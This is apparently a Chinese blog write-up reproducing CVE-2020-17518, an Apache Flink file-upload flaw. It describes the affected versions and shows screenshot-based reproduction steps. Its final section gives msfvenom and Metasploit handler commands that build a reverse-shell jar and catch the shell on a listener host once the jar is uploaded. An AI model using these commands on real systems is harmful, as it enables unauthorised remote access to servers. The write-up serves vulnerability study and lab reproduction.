Apache Flink 文件上传漏洞 (CVE-2020-17518)

文章目录

  • 一、Apache Flink简介
  • 二、漏洞简介
  • 三、漏洞复现
  • 四、上传jar包getshell


一、Apache Flink简介

Apache Flink 是一个框架和分布式处理引擎,用于在无边界和有边界数据流上进行有状态的计算。Flink 能在所有常见集群环境中运行,并能以内存速度和任意规模进行计算。Apache Flink 是一个分布式系统,它需要计算资源来执行应用程序。Flink 集成了所有常见的集群资源管理器,例如 Hadoop YARN、 Apache Mesos 和 Kubernetes,但同时也可以作为独立集群运行。


二、漏洞简介

在Apache Flink1.5.1中引入了 REST 处理程序,允许通过恶意修改HTTP HEADER将上传的文件写入本地文件系统上的任意位置。
攻击者利用REST API,可以修改HTTP头,将上传的文件写入到本地文件系统上的任意位置。

影响版本:
Apache:Apache Flink: 1.5.1 ---- 1.11.2

三、漏洞复现

1、访问Add New,上传
Apache Flink 文件上传漏洞 (CVE-2020-17518)_第1张图片
2、任意构造上传路径,上传文件。虽然响应显示400,但是已经上传成功。
Apache Flink 文件上传漏洞 (CVE-2020-17518)_第2张图片
3、进入容器.
在这里插入图片描述
4、执行命令,查看上传的文件。
在这里插入图片描述


四、上传jar包getshell

1、Flink支持上传jar包并且执行,所以这里可以通过上传jar包获取Webshell。
利用msfvenom工具生成.jar格式的木马,LHOST、LPORT为监听机器的IP和端口,此处利用Kali作为监听机。

 msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.198.128 LOBPORT=4444 -f jar > rce.jar

2、在监听机执行

use exploit/multi/handler 
set payload java/shell/reverse_tcp 
set LHOST 192.168.198.128
set LPORT 4444 
run

3、访问主页,点击Add New按钮,上传生成的rec.jar。
Apache Flink 文件上传漏洞 (CVE-2020-17518)_第3张图片

4、成功反弹shell。
Apache Flink 文件上传漏洞 (CVE-2020-17518)_第4张图片

你可能感兴趣的:(#,漏洞复现,web安全,web安全,系统安全,安全)